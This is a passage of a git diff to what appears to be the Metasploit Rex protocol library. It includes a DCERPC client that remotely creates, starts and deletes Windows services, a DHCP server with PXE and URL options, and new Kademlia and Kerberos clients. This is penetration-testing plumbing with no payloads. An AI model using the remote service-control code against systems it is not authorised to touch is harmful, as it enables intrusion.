stopping, and querying system services. +### +module Proto::DCERPC::SVCCTL + + require 'rex/constants/windows' + NDR = Rex::Encoder::NDR + + +class Client + + include Rex::Constants::Windows + + attr_accessor :dcerpc_client + + def initialize(dcerpc_client) + self.dcerpc_client = dcerpc_client + end + + # Returns the Windows Error Code in numeric format + # + # @param raw_error [String] the raw error code in binary format. + # + # @return [Integer] the Windows Error Code integer. + def error_code(raw_error) + raw_error.unpack('V').first + end + + # Calls OpenSCManagerW() to obtain a handle to the service control manager. + # + # @param rhost [String] the target host. + # @param access [Fixnum] the access flags requested. + # + # @return [Array<String,Integer>] the handle to the service control manager or nil if + # the call is not successful and the Windows error code + def openscmanagerw(rhost, access = SC_MANAGER_ALL_ACCESS) + scm_handle = nil + scm_status = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(access) + begin + response = dcerpc_client.call(OPEN_SC_MANAGER_W, stubdata) + if response + scm_status = error_code(response[20,4]) + if scm_status == ERROR_SUCCESS + scm_handle = response[0,20] + end + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error getting scm handle: #{e}") + end + + [scm_handle, scm_status] + end + + # Calls CreateServiceW() to create a system service. Returns a handle to + # the service on success, or nil. + # + # @param scm_handle [String] the SCM handle (from {#openscmanagerw}). + # @param service_name [String] the service name. + # @param display_name [String] the display name. + # @param binary_path [String] the path of the binary to run. + # @param opts [Hash] arguments for CreateServiceW() + # @option opts [Fixnum] :access (SERVICE_ALL_ACCESS) the access level. + # @option opts [Fixnum] :type (SERVICE_WIN32_OWN_PROCESS || + # SERVICE_INTERACTIVE_PROCESS) the type of service. + # @option opts [Fixnum] :start (SERVICE_DEMAND_START) the start options. + # @option opts [Fixnum] :errors (SERVICE_ERROR_IGNORE) the error options. + # @option opts [Fixnum] :load_order_group (0) the load order group. + # @option opts [Fixnum] :dependencies (0) the dependencies of the service. + # @option opts [Fixnum] :service_start (0) + # @option opts [Fixnum] :password1 (0) + # @option opts [Fixnum] :password2 (0) + # @option opts [Fixnum] :password3 (0) + # @option opts [Fixnum] :password4 (0) + # + # @return [String, Integer] a handle to the created service, windows + # error code. + def createservicew(scm_handle, service_name, display_name, binary_path, opts) + default_opts = { + :access => SERVICE_ALL_ACCESS, + :type => SERVICE_WIN32_OWN_PROCESS || SERVICE_INTERACTIVE_PROCESS, + :start => SERVICE_DEMAND_START, + :errors => SERVICE_ERROR_IGNORE, + :load_order_group => 0, + :dependencies => 0, + :service_start => 0, + :password1 => 0, + :password2 => 0, + :password3 => 0, + :password4 => 0 + }.merge(opts) + + svc_handle = nil + svc_status = nil + stubdata = scm_handle + + NDR.wstring(service_name) + + NDR.uwstring(display_name) + + NDR.long(default_opts[:access]) + + NDR.long(default_opts[:type]) + + NDR.long(default_opts[:start]) + + NDR.long(default_opts[:errors]) + + NDR.wstring(binary_path) + + NDR.long(default_opts[:load_order_group]) + + NDR.long(default_opts[:dependencies]) + + NDR.long(default_opts[:service_start]) + + NDR.long(default_opts[:password1]) + + NDR.long(default_opts[:password2]) + + NDR.long(default_opts[:password3]) + + NDR.long(default_opts[:password4]) + begin + response = dcerpc_client.call(CREATE_SERVICE_W, stubdata) + if response + svc_status = error_code(response[24,4]) + + if svc_status == ERROR_SUCCESS + svc_handle = response[4,20] + end + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error creating service: #{e}") + end + + return svc_handle, svc_status + end + + # Calls ChangeServiceConfig2() to change the service description. + # + # @param svc_handle [String] the service handle to change. + # @param service_description [String] the service description. + # + # @return [Integer] Windows error code + def changeservicedescription(svc_handle, service_description) + svc_status = nil + stubdata = + svc_handle + + NDR.long(SERVICE_CONFIG_DESCRIPTION) + + NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION + NDR.long(0x0200) + # SERVICE_DESCRIPTION struct + NDR.long(0x04000200) + + NDR.wstring(service_description) + begin + response = dcerpc_client.call(CHANGE_SERVICE_CONFIG2_W, stubdata) # ChangeServiceConfig2 + svc_status = error_code(response) + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error changing service description : #{e}") + end + + svc_status + end + + + # Calls CloseHandle() to close a handle. + # + # @param handle [String] the handle to close. + # + # @return [Integer] Windows error code + def closehandle(handle) + svc_status = nil + begin + response = dcerpc_client.call(CLOSE_SERVICE_HANDLE, handle) + if response + svc_status = error_code(response[20,4]) + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error closing service handle: #{e}") + end + + svc_status + end + + # Calls OpenServiceW to obtain a handle to an existing service. + # + # @param scm_handle [String] the SCM handle (from {#openscmanagerw}). + # @param service_name [String] the name of the service to open. + # @param access [Fixnum] the level of access requested (default is maximum). + # + # @return [String, nil] the handle of the service opened, or nil on failure. + def openservicew(scm_handle, service_name, access = SERVICE_ALL_ACCESS) + svc_handle = nil + svc_status = nil + stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) + begin + response = dcerpc_client.call(OPEN_SERVICE_W, stubdata) + if response + svc_status = error_code(response[20,4]) + if svc_status == ERROR_SUCCESS + svc_handle = response[0,20] + end + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error opening service handle: #{e}") + end + + svc_handle + end + + # Calls StartService() on a handle to an existing service in order to start + # it. Returns true on success, or false. + # + # @param svc_handle [String] the handle of the service (from {#openservicew}). + # @param magic1 [Fixnum] an unknown value. + # @param magic2 [Fixnum] another unknown value. + # + # @return [Integer] Windows error code + def startservice(svc_handle, magic1 = 0, magic2 = 0) + svc_status = nil + stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + + begin + response = dcerpc_client.call(0x13, stubdata) + if response + svc_status = error_code(response) + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error starting service: #{e}") + end + + svc_status + end + + # Stops a running service. + # + # @param svc_handle [String] the handle of the service (from {#openservicew}). + # + # @return [Integer] Windows error code + def stopservice(svc_handle) + dce_controlservice(svc_handle, SERVICE_CONTROL_STOP) + end + + # Controls an existing service. + # + # @param svc_handle [String] the handle of the service (from {#openservicew}). + # @param operation [Fixnum] the operation number to perform (1 = stop + # service; others are unknown). + # + # @return [Integer] Windows error code + def controlservice(svc_handle, operation) + svc_status = nil + begin + response = dcerpc_client.call(CONTROL_SERVICE, svc_handle + NDR.long(operation)) + if response + svc_status = error_code(response[28,4]) + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error controlling service: #{e}") + end + + svc_status + end + + # Calls DeleteService() to delete a service. + # + # @param svc_handle [String] the handle of the service (from {#openservicew}). + # + # @return [Integer] Windows error code + def deleteservice(svc_handle) + svc_status = nil + begin + response = dcerpc_client.call(DELETE_SERVICE, svc_handle) + if response + svc_status = error_code(response) + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error deleting service: #{e}") + end + + svc_status + end + + # Calls QueryServiceStatus() to query the status of a service. + # + # @param svc_handle [String] the handle of the service (from {#openservicew}). + # + # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned + # that isn't implemented), 1 if the service is running, and + # 2 if the service is stopped. + def queryservice(svc_handle) + ret = 0 + + begin + response = dcerpc_client.call(QUERY_SERVICE_STATUS, svc_handle) + if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" + ret = 1 + elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + ret = 2 + end + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error deleting service: #{e}") + end + + ret + end + +end +end +end + diff --git a/lib/rex/proto/dhcp/constants.rb b/lib/rex/proto/dhcp/constants.rb index 96e2829691..40956a65c5 100644 --- a/lib/rex/proto/dhcp/constants.rb +++ b/lib/rex/proto/dhcp/constants.rb @@ -19,8 +19,10 @@ OpDHCPServer = 0x36 OpLeaseTime = 0x33 OpSubnetMask = 1 OpRouter = 3 +OpDomainName = 15 OpDns = 6 OpHostname = 0x0c +OpURL = 0x72 OpEnd = 0xff PXEMagic = "\xF1\x00\x74\x7E" diff --git a/lib/rex/proto/dhcp/server.rb b/lib/rex/proto/dhcp/server.rb index 9a314bbb8b..5fb07804bd 100644 --- a/lib/rex/proto/dhcp/server.rb +++ b/lib/rex/proto/dhcp/server.rb @@ -94,6 +94,9 @@ class Server self.pxealtconfigfile = "update0" self.pxepathprefix = "" self.pxereboottime = 2000 + + self.domain_name = hash['DOMAINNAME'] || nil + self.url = hash['URL'] if hash.include?('URL') end def report(&block) @@ -126,7 +129,7 @@ class Server allowed_options = [ :serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv, :pxeconfigfile, :pxepathprefix, :pxereboottime, :router, - :give_hostname, :served_hostname, :served_over, :serveOnlyPXE + :give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url ] opts.each_pair { |k,v| @@ -151,10 +154,11 @@ class Server end attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv + attr_accessor :domain_name attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE - attr_accessor :give_hostname, :served_hostname, :served_over, :reporter + attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url protected @@ -166,7 +170,7 @@ protected wds = [] eds = [@sock] - r,w,e = ::IO.select(rds,wds,eds,1) + r,_,_ = ::IO.select(rds,wds,eds,1) if (r != nil and r[0] == self.sock) buf,host,port = self.sock.recvfrom(65535) @@ -198,19 +202,19 @@ protected end # parse out the members - hwtype = buf[1,1] + _hwtype = buf[1,1] hwlen = buf[2,1].unpack("C").first - hops = buf[3,1] - txid = buf[4..7] - elapsed = buf[8..9] - flags = buf[10..11] + _hops = buf[3,1] + _txid = buf[4..7] + _elapsed = buf[8..9] + _flags = buf[10..11] clientip = buf[12..15] - givenip = buf[16..19] - nextip = buf[20..23] - relayip = buf[24..27] - clienthwaddr = buf[28..(27+hwlen)] + _givenip = buf[16..19] + _nextip = buf[20..23] + _relayip = buf[24..27] + _clienthwaddr = buf[28..(27+hwlen)] servhostname = buf[44..107] - filename = buf[108..235] + _filename = buf[108..235] magic = buf[236..239] if (magic != DHCPMagic) @@ -293,6 +297,8 @@ protected pkt << dhcpoption(OpSubnetMask, self.netmaskn) pkt << dhcpoption(OpRouter, self.router) pkt << dhcpoption(OpDns, self.dnsserv) + pkt << dhcpoption(OpDomainName, self.domain_name) + if self.servePXE # PXE options pkt << dhcpoption(OpPXEMagic, PXEMagic) # We already got this one, serve localboot file @@ -317,6 +323,7 @@ protected pkt << dhcpoption(OpHostname, send_hostname) end end + pkt << dhcpoption(OpURL, self.url) if self.url pkt << dhcpoption(OpEnd) pkt << ("\x00" * 32) #padding diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 06fdaa9265..9f896689ef 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -86,7 +86,7 @@ class Client typ = self.config_types[var] || 'string' # These are enum types - if(typ.class.to_s == 'Array') + if typ.is_a?(Array) if not typ.include?(val) raise RuntimeError, "The specified value for #{var} is not one of the valid choices" end @@ -198,7 +198,7 @@ class Client def close if (self.conn) self.conn.shutdown - self.conn.close + self.conn.close unless self.conn.closed? end self.conn = nil @@ -480,7 +480,7 @@ class Client opts['headers']||= {} ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+6) domain_name = self.config['domain'] b64_blob = Rex::Text::encode_base64( @@ -719,4 +719,3 @@ end end end end - diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e67da387f2..e2d425c6c9 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -40,7 +40,7 @@ class ClientRequest # 'encode_params' => true, 'encode' => false, - 'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all + 'uri_encode_mode' => 'hex-normal', # hex-normal, hex-all, hex-noslashes, hex-random, u-normal, u-all, u-noslashes, u-random 'uri_encode_count' => 1, # integer 'uri_full_url' => false, # bool 'pad_method_uri_count' => 1, # integer @@ -112,12 +112,16 @@ class ClientRequest opts['vars_get'].each_pair do |var,val| var = var.to_s - val = val.to_s qstr << '&' if qstr.length > 0 qstr << (opts['encode_params'] ? set_encode_uri(var) : var) - qstr << '=' - qstr << (opts['encode_params'] ? set_encode_uri(val) : val) + # support get parameter without value + # Example: uri?parameter + if val + val = val.to_s + qstr << '=' + qstr << (opts['encode_params'] ? set_encode_uri(val) : val) + end end if (opts['pad_post_params']) diff --git a/lib/rex/proto/http/handler/proc.rb b/lib/rex/proto/http/handler/proc.rb index 58b350cc26..6976e14908 100644 --- a/lib/rex/proto/http/handler/proc.rb +++ b/lib/rex/proto/http/handler/proc.rb @@ -36,7 +36,7 @@ class Handler::Proc < Handler def on_request(cli, req) begin procedure.call(cli, req) - rescue Errno::EPIPE + rescue Errno::EPIPE, ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED elog("Proc::on_request: Client closed connection prematurely", LogSource) rescue elog("Proc::on_request: #{$!.class}: #{$!}\n\n#{$@.join("\n")}", LogSource) diff --git a/lib/rex/proto/http/packet.rb b/lib/rex/proto/http/packet.rb index 982669aeb2..90463622da 100644 --- a/lib/rex/proto/http/packet.rb +++ b/lib/rex/proto/http/packet.rb @@ -32,7 +32,7 @@ class Packet Completed = 3 end - require 'rex/proto/http/header' + require 'rex/proto/http/packet/header' # # Initializes an instance of an HTTP packet. diff --git a/lib/rex/proto/http/header.rb b/lib/rex/proto/http/packet/header.rb similarity index 100% rename from lib/rex/proto/http/header.rb rename to lib/rex/proto/http/packet/header.rb diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 71f1c1a8ae..1a08d13264 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -67,7 +67,7 @@ class Response < Packet cookies = "" if (self.headers.include?('Set-Cookie')) set_cookies = self.headers['Set-Cookie'] - key_vals = set_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?);/) + key_vals = set_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/) key_vals.each do |k, v| # Dont downcase actual cookie name as may be case sensitive name = k.downcase diff --git a/lib/rex/proto/iax2/call.rb b/lib/rex/proto/iax2/call.rb index 8f13f8323b..e03f1b5fd6 100644 --- a/lib/rex/proto/iax2/call.rb +++ b/lib/rex/proto/iax2/call.rb @@ -72,11 +72,23 @@ class Call end chall = nil - if res[2][14] == "\x00\x03" and res[2][IAX_IE_CHALLENGE_DATA] + + # Look for IAX_AUTH_MD5 (2) as an available auth method + if res[2][14].unpack("n")[0] & 2 <= 0 + dprint("REGAUTH: MD5 authentication is not enabled on the server") + return + end + + if res[2][IAX_IE_CHALLENGE_DATA] self.dcall = res[0][0] chall = res[2][IAX_IE_CHALLENGE_DATA] end + if chall.nil? + dprint("REGAUTH: No challenge data received") + return + end + self.client.send_regreq_chall_response(self, chall) res = wait_for( IAX_SUBTYPE_REGACK, IAX_SUBTYPE_REGREJ ) return if not res @@ -109,9 +121,21 @@ class Call # Handle authentication if its requested if res[1] == IAX_SUBTYPE_AUTHREQ chall = nil - if res[2][14] == "\x00\x03" and res[1][15] + + # Look for IAX_AUTH_MD5 (2) as an available auth method + if res[2][14].unpack("n")[0] & 2 <= 0 + dprint("REGAUTH: MD5 authentication is not enabled on the server") + return + end + + if res[2][IAX_IE_CHALLENGE_DATA] self.dcall = res[0][0] - chall = res[2][15] + chall = res[2][IAX_IE_CHALLENGE_DATA] + end + + if chall.nil? + dprint("REGAUTH: No challenge data received") + return end self.client.send_authrep_chall_response(self, chall) diff --git a/lib/rex/proto/iax2/client.rb b/lib/rex/proto/iax2/client.rb index 892cfd7299..444f181786 100644 --- a/lib/rex/proto/iax2/client.rb +++ b/lib/rex/proto/iax2/client.rb @@ -34,6 +34,7 @@ class Client self.server_port = opts[:server_port] self.username = opts[:username] self.password = opts[:password] + self.debugging = opts[:debugging] self.sock = Rex::Socket::Udp.create( 'PeerHost' => self.server_host, diff --git a/lib/rex/proto/ipmi/channel_auth_reply.rb b/lib/rex/proto/ipmi/channel_auth_reply.rb index 8368fa494a..b2beb45dcc 100644 --- a/lib/rex/proto/ipmi/channel_auth_reply.rb +++ b/lib/rex/proto/ipmi/channel_auth_reply.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Proto diff --git a/lib/rex/proto/ipmi/open_session_reply.rb b/lib/rex/proto/ipmi/open_session_reply.rb index 8c6884c825..7add8e356c 100644 --- a/lib/rex/proto/ipmi/open_session_reply.rb +++ b/lib/rex/proto/ipmi/open_session_reply.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Proto diff --git a/lib/rex/proto/ipmi/rakp2.rb b/lib/rex/proto/ipmi/rakp2.rb index 2a633abc6f..fb28f06333 100644 --- a/lib/rex/proto/ipmi/rakp2.rb +++ b/lib/rex/proto/ipmi/rakp2.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Proto diff --git a/lib/rex/proto/kademlia.rb b/lib/rex/proto/kademlia.rb new file mode 100644 index 0000000000..03dd4b3e12 --- /dev/null +++ b/lib/rex/proto/kademlia.rb @@ -0,0 +1,8 @@ +# -*- coding: binary -*- + +require 'rex/proto/kademlia/bootstrap_request' +require 'rex/proto/kademlia/bootstrap_response' +require 'rex/proto/kademlia/message' +require 'rex/proto/kademlia/ping' +require 'rex/proto/kademlia/pong' +require 'rex/proto/kademlia/util' diff --git a/lib/rex/proto/kademlia/bootstrap_request.rb b/lib/rex/proto/kademlia/bootstrap_request.rb new file mode 100644 index 0000000000..7641285aa1 --- /dev/null +++ b/lib/rex/proto/kademlia/bootstrap_request.rb @@ -0,0 +1,19 @@ +# -*- coding: binary -*- + +require 'rex/proto/kademlia/message' + +module Rex +module Proto +module Kademlia + # Opcode for a BOOTSTRAP request + BOOTSTRAP_REQUEST = 0x01 + + # A Kademlia bootstrap request message + class BootstrapRequest < Message + def initialize + super(BOOTSTRAP_REQUEST) + end + end +end +end +end diff --git a/lib/rex/proto/kademlia/bootstrap_response.rb b/lib/rex/proto/kademlia/bootstrap_response.rb new file mode 100644 index 0000000000..b985ba51a7 --- /dev/null +++ b/lib/rex/proto/kademlia/bootstrap_response.rb @@ -0,0 +1,79 @@ +# -*- coding: binary -*- + +require 'rex/proto/kademlia/message' +require 'rex/proto/kademlia/util' + +module Rex +module Proto +module Kademlia + # Opcode for a bootstrap response + BOOTSTRAP_RESPONSE = 0x09 + + # A Kademlia bootstrap response message + class BootstrapResponse < Message + # @return [String] the ID of the peer that send the bootstrap response + attr_reader :peer_id + # @return [Integer] the TCP port that the responding peer is listening on + attr_reader :tcp_port + # @return [Integer] the version of this peer + attr_reader :version + # @return [Array<Hash<String, Object>>] the peer ID, IP address, UDP/TCP ports and version of each peer + attr_reader :peers + + # Constructs a new bootstrap response + # + # @param peer_id [String] the ID of this peer + # @param tcp_port [Integer] the TCP port that this peer is listening on + # @param version [Integer] the version of this peer + # @param peers [Array<Hash<String, Object>>] the peer ID, IP address, UDP/TCP ports and version of each peer + def initialize(peer_id, tcp_port, version, peers) + @peer_id = peer_id + @tcp_port = tcp_port + @version = version + @peers = peers + end + + # The minimum size of a peer in a KADEMLIA2_BOOTSTRAP_RES message: + # peer ID (16-bytes), IP (4 bytes), UDP port (2 bytes), TCP port (2 bytes) + # and version (1 byte) + BOOTSTRAP_PEER_SIZE = 25 + + # Builds a bootstrap response from given data + # + # @param data [String] the data to decode + # @return [BootstrapResponse] the bootstrap response if the data is valid, nil otherwise + def self.from_data(data) + message = Message.from_data(data) + # abort if this isn't a valid response + return unless message + return unless message.type == BOOTSTRAP_RESPONSE + return unless message.body.size >= 23 + bootstrap_peer_id = Rex::Proto::Kademlia.decode_peer_id(message.body.slice!(0, 16)) + bootstrap_tcp_port, bootstrap_version, num_peers = message.body.slice!(0, 5).unpack('vCv') + # protocol says there are no peers and the body confirms this, so just return with no peers + if num_peers == 0 && message.body.blank? + peers = [] + else + peers_data = message.body + # peers data is too long/short, abort + return if peers_data.size % BOOTSTRAP_PEER_SIZE != 0 + peers = [] + until peers_data.blank? + peer_data = peers_data.slice!(0, BOOTSTRAP_PEER_SIZE) + peer_id = Rex::Proto::Kademlia.decode_peer_id(peer_data.slice!(0, 16)) + ip, udp_port, tcp_port, version = peer_data.unpack('VvvC') + peers << { + id: peer_id, + ip: Rex::Socket.addr_itoa(ip), + tcp_port: tcp_port, + udp_port: udp_port, + version: version + } + end + end + BootstrapResponse.new(bootstrap_peer_id, bootstrap_tcp_port, bootstrap_version, peers) + end + end +end +end +end diff --git a/lib/rex/proto/kademlia/message.rb b/lib/rex/proto/kademlia/message.rb new file mode 100644 index 0000000000..7393ce9257 --- /dev/null +++ b/lib/rex/proto/kademlia/message.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +module Rex +module Proto +## +# +# Minimal support for the newer Kademlia protocol, referred to here and often +# elsewhere as Kademlia2. It is unclear how this differs from the old protocol. +# +# Protocol details are hard to come by because most documentation is academic +# in nature and glosses over the low-level network details. The best +# documents I found on the protocol are: +# +# http://gbmaster.wordpress.com/2013/05/05/botnets-surrounding-us-an-initial-focus-on-kad/ +# http://gbmaster.wordpress.com/2013/06/16/botnets-surrounding-us-sending-kademlia2_bootstrap_req-kademlia2_hello_req-and-their-strict-cousins/ +# http://gbmaster.wordpress.com/2013/11/23/botnets-surrounding-us-performing-requests-sending-out-kademlia2_req-and-asking-contact-where-art-thou/ +# +## +module Kademlia + # A simple Kademlia message + class Message + # The header that non-compressed Kad messages use + STANDARD_PACKET = 0xE4 + # The header that compressed Kad messages use, which is currently unsupported + COMPRESSED_PACKET = 0xE5 + + # @return [Integer] the message type + attr_reader :type + # @return [String] the message body + attr_reader :body + + # Construct a new Message from the provided type and body + # + # @param type [String] the message type + # @param body [String] the message body + def initialize(type, body = '') + @type = type + @body = body + end + + # Construct a new Message from the provided data + # + # @param data [String] the data to interpret as a Kademlia message + # @return [Message] the message if valid, nil otherwise + def self.from_data(data) + return if data.length < 2 + header, type = data.unpack('CC') + if header == COMPRESSED_PACKET + fail NotImplementedError, "Unable to handle #{data.length}-byte compressed Kademlia message" + end + return if header != STANDARD_PACKET + Message.new(type, data[2, data.length]) + end + + # Get this Message as a String + # + # @return [String] the string representation of this Message + def to_str + [STANDARD_PACKET, @type].pack('CC') + @body + end + + # Compares this Message and another Message for equality + # + # @param other [Message] the Message to compare + # @return [Boolean] true iff the two messages have equal types and bodies, false otherwise + def ==(other) + type == other.type && body == other.body + end + end +end +end +end diff --git a/lib/rex/proto/kademlia/ping.rb b/lib/rex/proto/kademlia/ping.rb new file mode 100644 index 0000000000..95273b45e6 --- /dev/null +++ b/lib/rex/proto/kademlia/ping.rb @@ -0,0 +1,19 @@ +# -*- coding: binary -*- + +require 'rex/proto/kademlia/message' + +module Rex +module Proto +module Kademlia + # Opcode for a PING request + PING = 0x60 + + # A Kademlia ping message. + class Ping < Message + def initialize + super(PING) + end + end +end +end +end diff --git a/lib/rex/proto/kademlia/pong.rb b/lib/rex/proto/kademlia/pong.rb new file mode 100644 index 0000000000..d3ce9a1c76 --- /dev/null +++ b/lib/rex/proto/kademlia/pong.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +require 'rex/proto/kademlia/message' + +module Rex +module Proto +module Kademlia + # Opcode for a PING response + PONG = 0x61 + + # A Kademlia pong message. + class Pong < Message + # @return [Integer] the source port from which the PING was received + attr_reader :port + + def initialize(port = nil) + super(PONG) + @port = port + end + + # Builds a pong from given data + # + # @param data [String] the data to decode + # @return [Pong] the pong if the data is valid, nil otherwise + def self.from_data(data) + message = super(data) + return if message.type != PONG + return if message.body.size != 2 + Pong.new(message.body.unpack('v')[0]) + end + + # Get this Pong as a String + # + # @return [String] the string representation of this Pong + def to_str + super + [@port].pack('v') + end + end +end +end +end diff --git a/lib/rex/proto/kademlia/util.rb b/lib/rex/proto/kademlia/util.rb new file mode 100644 index 0000000000..0920752cfa --- /dev/null +++ b/lib/rex/proto/kademlia/util.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module Kademlia + # Decodes an on-the-wire representation of a Kademlia peer to its 16-character hex equivalent + # + # @param bytes [String] the on-the-wire representation of a Kademlia peer + # @return [String] the peer ID if valid, nil otherwise + def self.decode_peer_id(bytes) + peer_id = 0 + return nil unless bytes.size == 16 + bytes.unpack('VVVV').map { |p| peer_id = ((peer_id << 32) ^ p) } + peer_id.to_s(16).upcase + end + + # TODO + # def encode_peer_id(id) + # end +end +end +end diff --git a/lib/rex/proto/kerberos.rb b/lib/rex/proto/kerberos.rb new file mode 100644 index 0000000000..22797361b5 --- /dev/null +++ b/lib/rex/proto/kerberos.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- + +# Kerberos 5 implementation according to RFC 1510 + +require 'openssl' +require 'rex/socket' +require 'rex/text' +require 'rex/proto/kerberos/crypto' +require 'rex/proto/kerberos/pac' +require 'rex/proto/kerberos/model' +require 'rex/proto/kerberos/client' +require 'rex/proto/kerberos/credential_cache' + diff --git a/lib/rex/proto/kerberos/client.rb b/lib/rex/proto/kerberos/client.rb new file mode 100644 index 0000000000..48af233ddb --- /dev/null +++ b/lib/rex/proto/kerberos/client.rb @@ -0,0 +1,213 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + # This class is a representation of a kerberos client. + class Client + # @!attribute host + # @return [String] The kerberos server host + attr_accessor :host + # @!attribute port + # @return [Fixnum] The kerberos server port + attr_accessor :port + # @!attribute timeout + # @return [Fixnum] The connect / read timeout + attr_accessor :timeout + # @todo Support UDP + # @!attribute protocol + # @return [String] The transport protocol used (tcp/udp) + attr_accessor :protocol + # @!attribute connection + # @return [IO] The connection established through Rex sockets + attr_accessor :connection + # @!attribute context + # @return [Hash] The Msf context where the connection belongs to + attr_accessor :context + + def initialize(opts = {}) + self.host = opts[:host] + self.port = (opts[:port] || 88).to_i + self.timeout = (opts[:timeout] || 10).to_i + self.protocol = opts[:protocol] || 'tcp' + self.context = opts[:context] || {} + end + + # Creates a connection through a Rex socket + # + # @return [Rex::Socket::Tcp] + # @raise [RuntimeError] if the connection can not be created + def connect + return connection if connection + + case protocol + when 'tcp' + self.connection = create_tcp_connection + when 'udp' + raise ::NotImplementedError, 'Kerberos Client: UDP not supported' + else + raise ::RuntimeError, 'Kerberos Client: unknown transport protocol' + end + + connection + end + + # Closes the connection + def close + if connection + connection.shutdown + connection.close unless connection.closed? + end + + self.connection = nil + end + + # Sends a kerberos request through the connection + # + # @param req [Rex::Proto::Kerberos::Model::KdcRequest] the request to send + # @return [Fixnum] the number of bytes sent + # @raise [RuntimeError] if the transport protocol is unknown + # @raise [NotImplementedError] if the transport protocol isn't supported + def send_request(req) + connect + + sent = 0 + case protocol + when 'tcp' + sent = send_request_tcp(req) + when 'udp' + sent = send_request_udp(req) + else + raise ::RuntimeError, 'Kerberos Client: unknown transport protocol' + end + + sent + end + + # Receives a kerberos response through the connection + # + # @return [<Rex::Proto::Kerberos::Model::KrbError, Rex::Proto::Kerberos::Model::KdcResponse>] the kerberos + # response message + # @raise [RuntimeError] if the connection isn't established, the transport protocol is unknown, not supported + # or the response can't be parsed + # @raise [NotImplementedError] if the transport protocol isn't supported + def recv_response + if connection.nil? + raise ::RuntimeError, 'Kerberos Client: connection not established' + end + + res = nil + case protocol + when 'tcp' + res = recv_response_tcp + when 'udp' + res = recv_response_udp + else + raise ::RuntimeError, 'Kerberos Client: unknown transport protocol' + end + + res + end + + # Sends a kerberos request, and reads the response through the connection + # + # @param req [Rex::Proto::Kerberos::Model::KdcRequest] the request to send + # @return [<Rex::Proto::Kerberos::Model::KrbError, Rex::Proto::Kerberos::Model::KdcResponse>] The kerberos message + # @raise [RuntimeError] if the transport protocol is unknown or the response can't be parsed. + # @raise [NotImplementedError] if the transport protocol isn't supported + def send_recv(req) + send_request(req) + res = recv_response + + res + end + + private + + # Creates a TCP connection using Rex::Socket::Tcp + # + # @return [Rex::Socket::Tcp] + def create_tcp_connection + self.connection = Rex::Socket::Tcp.create( + 'PeerHost' => host, + 'PeerPort' => port.to_i, + 'Context' => context, + 'Timeout' => timeout + ) + end + + # Sends a Kerberos Request over a tcp connection + # + # @param req [Rex::Proto::Kerberos::Model::KdcRequest] the request to send + # @return [Fixnum] the number of bytes sent + # @raise [RuntimeError] if the request can't be encoded + def send_request_tcp(req) + data = req.encode + length = [data.length].pack('N') + connection.put(length + data) + end + + # UDP isn't supported + # + # @raise [NotImplementedError] + def send_request_udp(req) + raise ::NotImplementedError, 'Kerberos Client: UDP unsupported' + end + + # Receives a Kerberos Response over a tcp connection + # + # @return [<Rex::Proto::Kerberos::Model::KrbError, Rex::Proto::Kerberos::Model::KdcResponse>] the kerberos message response + # @raise [RuntimeError] if the response can't be processed + # @raise [EOFError] if expected data can't be read + def recv_response_tcp + length_raw = connection.get_once(4, timeout) + unless length_raw && length_raw.length == 4 + raise ::RuntimeError, 'Kerberos Client: failed to read response' + end + length = length_raw.unpack('N')[0] + + data = connection.get_once(length, timeout) + unless data && data.length == length + raise ::RuntimeError, 'Kerberos Client: failed to read response' + end + + res = decode_kerb_response(data) + + res + end + + # UDP isn't supported + # 